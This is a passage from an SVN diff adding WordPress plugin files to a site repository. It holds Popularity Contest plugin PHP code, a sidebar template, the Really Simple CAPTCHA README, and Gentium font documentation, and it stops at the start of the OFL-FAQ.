+			<input type="text" id="akpc['.$number.'][limit]" name="akpc['.$number.'][limit]" size="3" value="'.$options[$number]['limit'].'" />
+		</p>'.PHP_EOL;
+	// exclude pages
+	echo '<p>
+			<label for="akpc['.$number.'][limit]">'.__('Exclude pages', 'popularity-contest').': </label>
+			<select id="akpc['.$number.'][exclude_pages]" name="akpc['.$number.'][exclude_pages]">
+				<option value="yes"'.('yes' == $options[$number]['exclude_pages'] ? ' selected="selected"' : '').'>Yes</option>
+				<option value="no"'.('no' == $options[$number]['exclude_pages'] ? ' selected="selected"' : '').'>No</option>
+			</select>
+		</p>'.PHP_EOL;
+	// submit hidden field, really necessary? may be needed for legacy compatability
+	echo '<input type="hidden" id="akpc['.$number.'][submit]" name="akpc['.$number.'][submit]" value="1" />';
+}
+
+function akpc_show_error($type, $info = null) {
+	switch ($type) {
+		case 'tag_report_not_found':
+			echo '<div class="akpc_report"><div class="akpc_padded">'.sprintf(__('Sorry, could not find the requested tag: %s', 'popularity-contest'), htmlspecialchars($info)).'</div></div>';
+			break;
+		case 'tag_report_already_added':
+			echo '<div class="akpc_report"><div class="akpc_padded">'.sprintf(__('Looks like you already have a report for tag: %s', 'popularity-contest'), htmlspecialchars($info)).'</div></div>';
+			break;
+	}
+}
+
+// -- API FUNCTIONS
+
+function akpc_api_head_javascript() {
+	echo '
+<script type="text/javascript">var AKPC_IDS = "";</script>
+	';
+}
+
+function akpc_api_footer_javascript() {
+	if (function_exists('akpc_is_searcher') && akpc_is_searcher()) {
+		$type = 'searcher';
+	}
+	else if (is_archive() && !is_category()) {
+		$type = 'archive';
+	}
+	else if (is_category()) {
+		$type = 'category';
+	}
+	else if (is_single()) {
+		$type = 'single';
+	}
+	else if (is_tag()) {
+		$type = 'tag';
+	}
+	else if (is_page()) {
+		$type = 'page';
+	}
+	else {
+		$type = 'home';
+	}
+	echo '
+<script type="text/javascript">
+jQuery(function() {
+	
+	jQuery.post("index.php",{ak_action:"api_record_view", ids: AKPC_IDS, type:"'.$type.'"}, false, "json");
+});
+</script>
+	';
+}
+
+function akpc_is_searcher() {
+	global $akpc;
+
+	$temp = parse_url($_SERVER['HTTP_REFERER']);
+	$referring_domain = $temp['host'];
+	$searchers = ereg_replace("\n|\r|\r\n|\n\r", " ", $akpc->searcher_names);
+	$searchers = explode(" ", $searchers);
+	foreach ($searchers as $searcher) {
+		if ($referring_domain == $searcher) { return true; }
+	}
+	return false;
+}
+
+function akpc_api_record_view($id = null) {
+	global $wpdb;
+	$akpc = new ak_popularity_contest;
+	$akpc->get_settings();	
+	
+	$ids = array();
+	if ($id) {
+		$ids[] = $id;
+	}
+	else {
+		foreach (explode(',', $_POST['ids']) as $id) {
+			if ($id = intval($id)) {
+				$ids[] = $id;
+			}
+		}
+	}
+	array_unique($ids);
+
+	if (!empty($_GET['type'])) {
+		$type = $_GET['type'];
+		$response = 'img';
+	}
+	else {
+		$type = $_POST['type'];
+		$response = 'json';
+	}
+	if (count($ids) && $akpc->record_view(true, $ids, $type)) {
+		$json = '{"result":true,"ids":"'.implode(',',$ids).'","type":"'.sanitize_title($type).'"}';
+	}
+	else {
+		$json = '{"result":false,"ids":"'.implode(',',$ids).'","type":"'.sanitize_title($type).'"}';
+	}
+	switch ($response) {
+		case 'img':
+			header('Content-type: image/jpeg');
+			break;
+		case 'json':
+			header('Content-type: application/json');
+			echo $json;
+			break;
+	}
+	exit();
+}
+
+// -- HANDLE ACTIONS
+
+function akpc_request_handler() {
+	if (!empty($_POST['ak_action'])) {
+		switch($_POST['ak_action']) {
+			case 'update_popularity_values':
+				if (current_user_can('manage_options')) {
+					$akpc = new ak_popularity_contest;
+					$akpc->get_settings();
+					$akpc->update_settings();
+				}
+				break;
+			case 'api_record_view':
+				akpc_api_record_view();
+				break;
+			case 'akpc_add_tag':
+				if (!empty($_POST['tag']) && current_user_can('manage_options')) {
+					$akpc = new ak_popularity_contest;
+					if (strpos($_POST['tag'], ',')) {
+						$added_tags = explode(',', $_POST['tag']);
+					}
+					else {
+						$added_tags = array($_POST['tag']);
+					}
+					$tag_reports = get_option('akpc_tag_reports');
+					if ($tag_reports == '') {
+						add_option('akpc_tag_reports');
+					}
+					$tags = maybe_unserialize($tag_reports);
+					if (!is_array($tags)) {
+						$tags = array();
+					}
+					foreach ($added_tags as $tag) {
+						$tag = sanitize_title_with_dashes(trim($tag));
+						if (!empty($tag)) {
+							if (in_array($tag, $tags)) {
+								akpc_show_error('tag_report_already_added', $tag);
+							}
+							else if ($term = get_term_by('slug', $tag, 'post_tag')) {
+								$tags[] = $tag;
+								$akpc->show_report('tag', 10, 'yes', array('term_id' => $term->term_id, 'term_name' => $term->name));
+							}
+							else {
+								akpc_show_error('tag_report_not_found', $tag);
+							}
+						}
+					}
+					$tags = array_unique($tags);
+					update_option('akpc_tag_reports', $tags);
+				}
+				die();
+				break;
+			case 'akpc_remove_tag':
+				if (!empty($_POST['tag']) && current_user_can('manage_options')) {
+					$tag = sanitize_title(trim($_POST['tag']));
+					if (!empty($tag)) {
+						$tags = maybe_unserialize(get_option('akpc_tag_reports'));
+						if (is_array($tags) && count($tags)) {
+							$new_tags = array();
+							foreach ($tags as $existing_tag) {
+								if ($existing_tag != $tag) {
+									$new_tags[] = $existing_tag;
+								}
+							}
+							$tags = array_unique($new_tags);
+							update_option('akpc_tag_reports', $tags);
+						}
+					}
+				}
+				die();
+				break;
+		}
+	}
+	if (!empty($_GET['ak_action'])) {
+		switch($_GET['ak_action']) {
+			case 'api_record_view':
+				if (isset($_GET['id']) && $id = intval($_GET['id'])) {
+					akpc_api_record_view($id);
+				}
+				break;
+			case 'recount_feedback':
+				if (current_user_can('manage_options')) {
+					$akpc = new ak_popularity_contest;
+					$akpc->get_settings();
+					$akpc->recount_feedback();
+				}
+				break;
+			case 'akpc_css':
+				header("Content-type: text/css");
+?>
+.ak_wrap {
+	padding-bottom: 40px;
+}
+#akpc_most_popular {
+	height: 250px;
+	overflow: auto;
+	margin-bottom: 10px;
+}
+#akpc_most_popular .alternate {
+	background: #efefef;
+}
+#akpc_most_popular td.right, #akpc_options_link {
+	text-align: right;
+}
+#akpc_most_popular td {
+	padding: 3px;
+}
+#akpc_most_popular td a {
+	border: 0;
+}
+.akpc_report {
+	float: left;
+	margin: 5px 30px 20px 0;
+	width: 220px;
+}
+.akpc_report h3 {
+	border-bottom: 1px solid #999;
+	color #333;
+	margin: 0 0 4px 0;
+	padding: 0 0 2px 0;
+}
+.akpc_report ol {
+	margin: 0;
+	padding: 0 0 0 30px;
+}
+.akpc_report ol li span {
+	float: right;
+}
+.akpc_report ol li a {
+	border: 0;
+	display: block;
+	margin: 0 30px 0 0;
+}
+.clear {
+	clear: both;
+	float: none;
+}
+#akpc_template_tags dl {
+	margin-left: 10px;
+}
+#akpc_template_tags dl dt {
+	font-weight: bold;
+	margin: 0 0 5px 0;
+}
+#akpc_template_tags dl dd {
+	margin: 0 0 15px 0;
+	padding: 0 0 0 15px;
+}
+#akpc_options th {
+	font-weight: normal;
+	text-align: left;
+}
+#akpc_options input.number {
+	width: 40px;
+}
+#akpc_report_tag_form {
+	display: inline;
+	padding-left: 20px;
+}
+#akpc_report_tag_form label, .akpc_saving {
+	font: normal normal 12px "Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif;
+}
+.akpc_saving {
+	color: #999;
+	display: none;
+	padding: 5px;
+}
+#akpc_tag_reports h3 {
+	padding-right: 20px;
+}
+#akpc_tag_reports a.remove {
+	float: right;
+}
+#akpc_tag_reports .akpc_padded {
+	color: #999;
+	padding: 20px;
+	text-align: center;
+}
+#akpc_tag_reports .none {
+	background: #eee;
+	text-align: left;
+}
+<?php
+				die();
+				break;
+			case 'akpc_js':
+				header('Content-type: text/javascript');
+				?>
+				var cf_widget_count = 0;
+				jQuery(function($) {
+					akpc_widget_js();
+					setInterval('akpc_widget_check()', 500);
+				});
+				akpc_widget_js = function() {
+					jQuery('select.akpc_pop_widget_type').unbind().change(function() {
+						if (jQuery(this).val() == 'last_n') {
+							jQuery(this).parents('div.widget-content, div.widget-control').find('p.akpc_pop_widget_days:hidden').slideDown();
+						}
+						else {
+							jQuery(this).parents('div.widget-content, div.widget-control').find('p.akpc_pop_widget_days:visible').slideUp();
+						}
+					});
+				}
+				akpc_widget_check = function() {
+					var current_count = jQuery('#widgets-right .widget-inside:visible, .widget-control-list .widget-list-control-item').size();
+					if (current_count != cf_widget_count) {
+						akpc_widget_js();
+						cf_widget_count = current_count;
+					}
+				}
+<?php
+				die();
+				break;
+		}
+	}
+}
+
+// -- GET HOOKED
+
+if (is_admin() && $_GET['page'] == 'popularity-contest.php') {
+	wp_enqueue_script('suggest');
+}
+
+add_filter('the_content', 'akpc_content_pop');
+
+add_action('init', 'akpc_init', 1);
+add_action('init', 'akpc_request_handler', 2);
+add_action('admin_menu', 'akpc_options');
+add_action('admin_head', 'akpc_options_css');
+
+
+// Use the global pagenow so we only load the Widget JS on the widget page
+global $pagenow;
+if ($pagenow == 'widgets.php') {
+	add_action('admin_head', 'akpc_widget_js');
+}
+
+if (AKPC_USE_API == 0) {
+	// work cache unfriendly
+	add_action('the_content', 'akpc_view');
+}
+else {
+	// do view updates via API
+	add_action('wp_head','akpc_api_head_javascript');
+	add_action('wp_footer','akpc_api_footer_javascript');
+	wp_enqueue_script('jquery');
+}
+add_action('comment_post', 'akpc_feedback_comment');
+add_action('pingback_post', 'akpc_feedback_pingback');
+add_action('trackback_post', 'akpc_feedback_trackback');
+
+add_action('publish_post', 'akpc_publish');
+add_action('delete_post', 'akpc_post_delete');
+
+add_action('publish_page', 'akpc_publish');
+add_action('delete_page', 'akpc_post_delete');
+
+add_action('wp_set_comment_status', 'akpc_comment_status', 10, 2);
+add_action('delete_comment', 'akpc_comment_delete');
+
+add_action('plugins_loaded','akpc_widget_init');
+
+endif; // LOADED CHECK
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/popularity-contest/sidebar.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/popularity-contest/sidebar.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/popularity-contest/sidebar.php	(revision 44)
@@ -0,0 +1,99 @@
+<?php /*
+
+This is the default sidebar.php with additional code to show contextual lists of most popular posts.
+For example, when browsing a category, the most popular posts in that category are shown, when
+browsing a month, the most popular posts for that month are shown, etc.
+
+*/ ?>
+
+	<div id="sidebar">
+		<ul>
+			
+			<li>
+				<?php include (TEMPLATEPATH . '/searchform.php'); ?>
+			</li>
+
+			<!-- Author information is disabled per default. Uncomment and fill in your details if you want to use it.
+			<li><h2>Author</h2>
+			<p>A little something about you, the author. Nothing lengthy, just an overview.</p>
+			</li>
+			-->
+
+			<li>
+			<?php /* If this is a 404 page */ if (is_404()) { ?>
+			<?php /* If this is a category archive */ } elseif (is_category()) { ?>
+			<p>You are currently browsing the archives for the <?php single_cat_title(''); ?> category.</p>
+
+			<li><h2>Most Popular in '<?php single_cat_title(''); ?>'</h2>
+				<ul>
+				<?php akpc_most_popular_in_cat(); ?>
+				</ul>
+			</li>
+			
+			<?php /* If this is a yearly archive */ } elseif (is_day()) { ?>
+			<p>You are currently browsing the <a href="<?php echo get_settings('siteurl'); ?>"><?php echo bloginfo('name'); ?></a> weblog archives
+			for the day <?php the_time('l, F jS, Y'); ?>.</p>
+			
+			<?php /* If this is a monthly archive */ } elseif (is_month()) { ?>
+			<p>You are currently browsing the <a href="<?php echo get_settings('siteurl'); ?>"><?php echo bloginfo('name'); ?></a> weblog archives
+			for <?php the_time('F, Y'); ?>.</p>
+
+			<li><h2>Most Popular in <?php the_time('F, Y'); ?></h2>
+				<ul>
+				<?php akpc_most_popular_in_month(); ?>
+				</ul>
+			</li>
+
+      <?php /* If this is a yearly archive */ } elseif (is_year()) { ?>
+			<p>You are currently browsing the <a href="<?php echo get_settings('siteurl'); ?>"><?php echo bloginfo('name'); ?></a> weblog archives
+			for the year <?php the_time('Y'); ?>.</p>
+			
+		 <?php /* If this is a monthly archive */ } elseif (is_search()) { ?>
+			<p>You have searched the <a href="<?php echo get_settings('siteurl'); ?>"><?php echo bloginfo('name'); ?></a> weblog archives
+			for <strong>'<?php echo wp_specialchars($s); ?>'</strong>. If you are unable to find anything in these search results, you can try one of these links.</p>
+
+			<?php /* If this is a monthly archive */ } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { ?>
+			<p>You are currently browsing the <a href="<?php echo get_settings('siteurl'); ?>"><?php echo bloginfo('name'); ?></a> weblog archives.</p>
+
+			<?php } ?>
+			</li>
+
+			<?php if (!is_archive() && !is_category()) { ?>
+			<li><h2>Most Popular Posts</h2>
+				<ul>
+				<?php akpc_most_popular(); ?>
+				</ul>
+			</li>
+			<?php } ?>
+			
+			<?php wp_list_pages('title_li=<h2>Pages</h2>' ); ?>
+
+			<li><h2>Archives</h2>
+				<ul>
+				<?php wp_get_archives('type=monthly'); ?>
+				</ul>
+			</li>
+
+			<li><h2>Categories</h2>
+				<ul>
+				<?php wp_list_cats('sort_column=name&optioncount=1&hierarchical=0'); ?>
+				</ul>
+			</li>
+
+			<?php /* If this is the frontpage */ if ( is_home() || is_page() ) { ?>				
+				<?php get_links_list(); ?>
+				
+				<li><h2>Meta</h2>
+				<ul>
+					<?php wp_register(); ?>
+					<li><?php wp_loginout(); ?></li>
+					<li><a href="http://validator.w3.org/check/referer" title="This page validates as XHTML 1.0 Transitional">Valid <abbr title="eXtensible HyperText Markup Language">XHTML</abbr></a></li>
+					<li><a href="http://gmpg.org/xfn/"><abbr title="XHTML Friends Network">XFN</abbr></a></li>
+					<li><a href="http://wordpress.org/" title="Powered by WordPress, state-of-the-art semantic personal publishing platform.">WordPress</a></li>
+					<?php wp_meta(); ?>
+				</ul>
+				</li>
+			<?php } ?>
+			
+		</ul>
+	</div>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/README.txt	(revision 44)
@@ -0,0 +1,72 @@
+=== Really Simple CAPTCHA ===
+Contributors: takayukister
+Donate link: http://pledgie.com/campaigns/3259
+Tags: captcha
+Requires at least: 2.2
+Tested up to: 2.7.1
+Stable tag: 1.0
+
+Really Simple CAPTCHA is a CAPTCHA module intended to be called from other plugins. It is originally created for my Contact Form 7 plugin.
+
+== Description ==
+
+Really Simple CAPTCHA does not work alone and is intended to work with other plugins. It is originally created for Contact Form 7, however, you can use it with your own plugin.
+
+Note: This product is "really simple" as its name suggests, i.e., it is not strongly secure. If you need perfect security, you should try other solutions.
+
+= How does it work? =
+
+Really Simple CAPTCHA does not use PHP "Sessions" for storing states, unlike many other PHP CAPTCHA solutions, but stores them as temporary files. This allows you to embed it into WordPress without worrying about conflicts.
+
+When you generate a CAPTCHA, Really Simple CAPTCHA creates two files for it; one is an image file of CAPTCHA, and the other is a PHP file which returns the correct answer to the CAPTCHA.
+
+The two files have the same (random) prefix in their file names, for example, "a7hk3ux8p.png" and "a7hk3ux8p.php." In this case, for example, when the respondent answers "K5GF" as an answer to the "a7hk3ux8p.png" image, then Really Simple CAPTCHA runs "a7hk3ux8p.php" code and tests the answer against the return value it receives. If the return value is "K5GF," the two match, and the answer is confirmed as correct.
+
+= How to use with your plugin =
+
+First, create an instance of ReallySimpleCaptcha class:
+
+    `$captcha_instance = new ReallySimpleCaptcha();`
+
+You can change the instance variables as you wish.
+
+    `// Change the background color of CAPTCHA image to black`
+    `$captcha_instance->bg = array(0, 0, 0);`
+
+See really-simple-captcha.php if you are interested in other variables.
+
+Generate a random word for CAPTCHA.
+
+    `$word = $captcha_instance->generate_random_word();`
+
+Generate an image file and a PHP code file in the temporary directory.
+
+    `$prefix = mt_rand();`
+    `$captcha_instance->generate_image($prefix, $word);`
+
+Then, show the image and get an answer from respondent.
+
+Check the correctness of the answer.
+
+    `$correct = $captcha_instance->check($prefix, $the_answer_from_respondent);`
+
+If the $correct is true, go ahead. Otherwise, block the respondent -- as it would appear not to be human.
+
+And last, remove the temporary image and PHP files, as they are no longer in use.
+
+    `$captcha_instance->remove($prefix);`
+
+That's all.
+
+If you wish to see a live sample of this, you can try Contact Form 7.
+
+== Installation ==
+
+In most cases you can install automatically from WordPress.
+
+However, if you install this manually, follow these steps:
+
+1. Upload the entire `really-simple-captcha` folder to the `/wp-content/plugins/` directory.
+1. Activate the plugin through the 'Plugins' menu in WordPress.
+
+FYI: There is no "control panel" for this plugin.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/gentium/FONTLOG.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/gentium/FONTLOG.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/gentium/FONTLOG.txt	(revision 44)
@@ -0,0 +1,177 @@
+FONTLOG
+Gentium font family
+========================
+
+
+This file provides detailed information on the Gentium family of fonts. This
+information should be distributed along with the Gentium fonts and any
+derivative works.
+
+
+Basic Font Information
+----------------------
+
+Gentium ("belonging to the nations" in Latin) is a Unicode typeface family
+designed to enable the many diverse ethnic groups around the world who use
+the Latin script to produce readable, high-quality publications. The design
+is intended to be highly readable, reasonably compact, and visually
+attractive. Gentium has won a "Certificate of Excellence in Typeface Design"
+in two major international typeface design competitions: bukva:raz! (2001),
+TDC2003 (2003).
+
+Gentium provides glyphs for a wide range of Latin and Greek characters. The
+additional 'extended' Latin letters are designed to naturally harmonize with
+the traditional 26 ones. Diacritics are treated with careful thought and
+attention to their use. Gentium also supports both ancient and modern Greek,
+including a number of alternate forms. It currently supports the following
+ranges of Unicode 3.0 (completely unless noted):
+
+Range           Description
+U+0020-U+007F   Basic Latin
+U+00A0-U+00FF   Latin-1 Supplement
+U+0100-U+017F   Latin Extended-A
+U+0180-U+021F   Latin Extended-B
+U+0222-U+0233   Latin Extended-B (continued)
+U+0250-U+02AD   IPA Extensions
+U+02B0-U+02FF   Spacing Modifier Letters
+U+0300-U+036F   Combining Diacritical Marks
+U+0370-U+03D5   Greek (not including archaic or Coptic)
+U+1E00-U+1EFF   Latin Extended Additional
+U+1F00-U+1FFF   Greek Extended
+U+2000-U+203A   General Punctuation (partial)
+U+2070-U+209F   Superscripts and Subscripts
+U+20A0-U+20CF   Currency Symbols (partial)
+U+2100-U+214F   Letterlike Symbols (only a couple)
+
+Gentium Regular also includes some Cyrillic glyphs, but they are only early
+drafts. A future version will include a completely revised set, including
+italic, and will expand the support for Latin, Greek and Cyrillic to Unicode
+4.1.
+
+
+ChangeLog
+---------
+(This should list both major and minor changes, most recent first.)
+
+28 Nov 2005 (Victor Gaultney)  Gentium version 1.02
+- Changed licensing to the SIL Open Font License
+- Included FontLab source files
+- Fixed some duplicate PostScript glyphs names
+- Fixed italic angle
+
+19 Sep 2003 (Victor Gaultney)  Gentium version 1.01 
+- Maintenance release focused on changing internal font
+- Information to reflect the changeover to an SIL project
+- There is only one bug fix - the Greek mu PS name was changed to try and fix
+a display/printing problem. There is still no manual hinting
+
+16 Sep 2002 (Victor Gaultney)  Gentium version 1.00
+- First public release
+- No manual hinting is included in this version. Some has been done - with
+good results - but is not yet complete enough.
+
+
+Information for Contributors
+----------------------------
+
+The main point of version 1.02 is to enable modification via the OFL and to
+establish a means for people to contribute to the project. For information
+on what you're allowed to change or modify, consult the OFL and OFL-FAQ. The
+OFL-FAQ also gives a very general rationale regarding why you would want to
+contribute to the project.
+
+Anyone can make their own modified version of Gentium (using a different
+name), but SIL International will continue to maintain and develop the
+canonical version of the Gentium fonts. As the package maintainer, we warmly
+welcome contributions. Here are some things to keep in mind:
+
+Format: We are open to contributions in various formats, but if you want to
+maximise the chances of us including your work, please make it available to
+us (via email or a URL) as either a FontLab database (preferred) or a
+PostScript Type 1 (or OT-CFF) font.
+
+Source files: For the first time, we're including FontLab databases used in
+developing the fonts. The current fonts, however, were not solely built from
+this FontLab database, so a simple "Generate Font" will not give you an
+identical result. These databases are provided not as canonical source but
+as an aid to anyone who might find it useful to have access to the
+PostScript-style curves before they were turned into TrueType ones. BTW -
+although only two databases are provided, they contain all the Alt glyphs.
+In the future we may be making our 'source' available in three formats:
+OpenType (TrueType), OT-CFF, and FontLab.
+
+Copyright attribution: If you submit something for inclusion in the main
+Gentium fonts, we will ask you to affirm that it is your original work, and
+ask you to assign the copyright of your work to SIL International. This is
+to ensure that future releases can be made under improved versions of the
+OFL without needing to track you down for further permission. This follows
+the same principle used by the FSF. Keep in mind that we are a
+not-for-profit organization committed to free/libre and open source
+software, and that any contributions incorporated in the fonts will always
+be available under the OFL or a similar license.
+
+Quality: Because we want to be able to guarantee a high level of quality for
+the primary Gentium fonts, we will review submissions carefully. Please
+don't be discouraged if we do not include a submission for this reason, or
+ask you to make specific revisions.
+
+What types of contributions are welcomed now (some more than others):
+- Old style figures
+- Small caps (although we would want such done for *all* caps, not just A-Z)
+- Specifications for smart Greek code (write us about this)
+- Coptic
+- Historic/Archaic Cyrillic
+- Glyphs used for ancient Greek text study (but not alphabetic ones, like
+the digamma)
+- Mathematical glyphs
+- OpenType code and glyphs for on-the-fly fraction creation
+- Additional scripts (Armenian, etc.?), and any needed OT/Graphite/AAT code
+- Other things that we may have once told you we didn't have time to do :-)
+
+What is not needed at this point:
+- Revisions to the basic letters or their spacing
+- Cyrillic revisions or additions. These are already in process
+- Other weights (Bold, Bold italic). We already have some work done on this
+- Alphabetic Ancient Greek glyphs (digamma, etc.). These are done and are
+waiting for the next release
+- Unicode 4.1 additions for Latin. We have these already in the pipeline
+- General Latin/Cyrillic OpenType/Graphite/AAT code - we already have this
+(see our Doulos SIL project)
+- Kerning - there is some in place
+- Hinting - although if you could offer to do some hinting, let us know :-)
+
+So why didn't we include some of this in this release? The only change for
+1.02 is the new licensing model. We thought that it was important to get a
+revised font out before we had completed the next big revision. We also
+didn't want to hold up release until we had everything neat and tidy :-)
+
+When submissions will be included: We hope to have a revised version of the
+Regular and Italic fonts (including full Cyrillic) completed by mid-2006. To
+do this we will need submissions early in the year. Other weights will
+follow after that.
+
+WARNINGS: The details of the source files and build procedures will be
+changing radically before the next release, so do not spend too much time
+working on systems that depend on the current FontLab database information.
+Also - the Cyrillic glyphs in the regular font are very early prototypes and
+will be changing completely. So don't bother to modify them!
+
+
+Acknowledgements
+----------------
+(Here is where contributors can be acknowledged. If you make modifications
+be sure to add your name (N), email (E), web-address (W) and description
+(D). This list is sorted by last name in alphabetical order.)
+
+N: Victor Gaultney
+E: victor_gaultney@sil.org
+W: http://www.sil.org/~gaultney/
+D: Original Designer of Latin, Greek and Cyrillic glyphs
+
+The Gentium project is maintained by SIL International.
+
+For more information please visit the Gentium page on SIL International's
+Computers and Writing systems website:
+http://scripts.sil.org/gentium
+
+Or send an email to <gentium AT sil DOT org>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/gentium/GENTIUM-FAQ.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/gentium/GENTIUM-FAQ.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/gentium/GENTIUM-FAQ.txt	(revision 44)
@@ -0,0 +1,207 @@
+GENTIUM-FAQ
+Gentium Release 1.02
+28 November 2005
+========================
+
+Here are some answers to frequently asked questions about the Gentium fonts:
+
+
+General
+========
+
+How do you pronounce Gentium?
+
+	The preferred pronunciation is with a soft G as in 'general', not a
+	hard one as in 'gold': JEN-tee-oom.
+
+What is GentiumAlt?
+
+	It is a version of the font with redesigned diacritics (flatter
+	ones) to make it more suitable for use with stacking diacritics, and
+	for languages such as Vietnamese. The Greek glyphs also use the
+	Porsonic (single-curve) design for the circumflex. Since Gentium
+	does not currently include any 'smart' rendering routines, there is
+	no easy way to access these alternate diacritic shapes from within
+	the regular Gentium font. The encoding of the fonts are the same, so
+	the same text can be viewed with either one. There is also no
+	problem with having both font families installed at the same time.
+
+
+Licensing
+=========
+
+I want to use Gentium in my publication - can I?
+
+	Gentium is released under the SIL Open Font License, which permits use
+	for any publication, whether electronic or printed. For more answers
+	to use questions see the OFL-FAQ. The license, alongside information
+	specific to Gentium, is in the release package.
+
+I would like to bundle Gentium with my application - can I?
+
+	This is our most common question. The SIL Open Font License allows
+	bundling with applications, even commercial ones, with some restrictions.
+	See the OFL file.
+
+Can I use the font on my web site?
+
+	You can certainly create web pages that request that Gentium be used to
+	display them (if that font is available on the user's system). According
+	to the license, you are even allowed to place the font on your site for
+	people to download it. We would strongly recommend, however, that you
+	direct users to our site to download the font. This ensures that they
+	are always using the most recent version with bug fixes, etc. To make
+	this easier, we've simplified the URL for Gentium:
+	http://scripts.sil.org/gentium
+
+Is Gentium going to stay free?
+
+	There is no intention to ever charge users for using Gentium. The
+	current version is licensed under a free/open license and future
+	versions will be similar.
+
+
+Modification
+============
+
+I would like to modify Gentium to add a couple of characters I need. Can I?
+
+	Yes - that is allowed as long as you abide by the conditions of the
+	SIL Open Font License.
+
+So will you add glyphs upon request?
+
+	If you have a special symbol that you need (say, for a particular
+	transcription system), the best means of doing so will be to ensure
+	that the symbol makes it into the Unicode Standard. It is impossible
+	for us to add every glyph that every person desires, but we do place
+	a high priority on adding pretty much anything that falls in certain
+	Unicode ranges (extended Latin, Greek, Cyrillic). You can send us your
+	requests, but please understand that we are unlikely to add symbols
+	where the user base is very small, unless they have been accepted
+	into Unicode.
+
+Can I send you work I've done to be incorporated into Gentium?
+
+	Yes! See the FONTLOG for information on becoming a contributor.
+
+
+Technical
+=========
+
+Can you help me get Gentium working on my system?
+
+	We cannot afford to offer individual technical support. The best
+	resource is this website, where we hope to offer some limited help.
+	However, we do want to hear of any problems you encounter, so that
+	we can add them to the list of bugs to fix in later releases.
+
+	Our contact address is <gentium AT sil DOT org>.  Please understand
+	that we cannot guarantee a personal response.
+
+I can't find all the extended Latin letters in the font. How do I type them?
+
+	Gentium is Unicode-encoded, which means that the computer stores a
+	special, unique code for each letter in your document. Since most
+	keyboards do not have hundreds of keys, special software is needed
+	in order to type the hundreds of special characters supported by the
+	font. 
+	
+I can't find the 'o with right hook' in the font. Where is it?
+
+	Combinations of base letters with diacritics are often called
+	composite, or pre-composed glyphs. Gentium has hundreds of these
+	(the ones that are included in Unicode). There are, however, many
+	common combinations that are not represented by a single composite.
+	It is possible to enter these into a document, but only as
+	individual components. So 'o with right hook' would be entered as
+	'o', then 'right hook'. Although this may not look very good in some
+	cases, we're not able to anticipate every possible combination.
+	Future versions of Gentium will include 'smart font' support for
+	technologies such as OpenType and SIL's Graphite. This will make
+	diacritic positioning much better.
+	
+Some diacritics are not aligning well with base glyphs, and if I type more
+than one diacritic, they run into each other. Why is that?
+
+	Gentium currently has no 'smart font' code for automatic diacritic
+	positioning, but will in the near future.
+
+How do I type the Greek letters?
+
+	You need a Unicode-compatible keyboarding system, which is not
+	included in the distribution package. 
+	
+I'm having problems making PDFs -- why won't my document distill?
+
+	Gentium is a large font, with lots of glyphs. As a result, some
+	printers can balk at PDFs that have the complete font embedded. The
+	easiest way to avoid this is to have Acrobat/Distiller subset the
+	font. This is generally a good idea anyway (with any font) and can
+	reduce the size of your files.
+
+
+Future
+======
+
+Now that SIL International has taken over Gentium, who will be the next
+designer?
+
+	Victor Gaultney will remain as primary designer, but Annie Olsen, a
+	fellow type designer from the SIL Non-Roman Script Initiative, has
+	joined the project team. She is a former calligraphy teacher, and is
+	well suited for the task. Other members of the NRSI team will also
+	add their expertise in technical matters.
+
+Do you plan to include other typographic enhancements (small caps, old style
+figures, etc.)?
+
+	Those would be nice, wouldn't they. From a design point of view,
+	it would be great to have these refinements, and we haven't ruled
+	them out. But there are other needs that are much higher priority
+	(Bold, Cyrillic, etc.). If you think you could contribute some of
+	your time and effort to these enhancements, see the FONTLOG file for
+	information on becoming a contributor.
+
+What about bold?
+
+	We hope to make a prototype of a Bold weight (and a few others,
+	including italic) available soon, but it will only cover basic Latin
+	glyphs at first. Once we are confident that the basic design is solid,
+	we will begin to design the bold versions of the other hundreds of
+	glyphs. Be patient, though, as Gentium has lots of glyphs!
+	
+Sans-serif?
+
+	There is a definite need for a sans-serif font that shares some of
+	GentiumÕs strengths -- high readability, economy of space, etc. It
+	would also be great if that font also harmonized well with Gentium.
+	We don't currently have any plans for a companion face, although one
+	of our other projects - Andika - may be useful. Andika is a sans-serif
+	font designed specifically for use in literacy programs around the
+	world. A prototype should be available in a few months.
+	
+Will you be extending Gentium to cover other scripts, and Hebrew in
+particular?
+
+	It is very unlikely that we would do this, as there are so many
+	pressing needs in Latin, Greek and Cyrillic scripts. But you could
+	contribute to the project.
+	
+When will Cyrillic be completed?
+
+	As soon as we can get it done, but it is still a few months away. 
+	
+I need a couple of ancient Greek glyphs, such as the digamma. When will
+those be ready?
+
+	These have already been designed and will be in the next release
+	(mid-2006).
+
+Will there be a Type 1 version? What about OpenType?
+
+	The next generation of Gentium will have OpenType, Graphite and AAT
+	support. We do not plan to produce Type 1 versions at this time, but
+	please write us if this is important (and tell us why). We are, however,
+	considering releasing a version in OT-CFF format, but it will not go
+	through the same careful testing as the standard OT/Graphite/AAT version.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/gentium/OFL-FAQ.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/gentium/OFL-FAQ.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/really-simple-captcha/gentium/OFL-FAQ.txt	(revision 44)
@@ -0,0 +1,182 @@
+OFL FAQ - Frequently Asked Questions about the SIL Open Font License (OFL)
+Version 1.0 - 22 November 2005
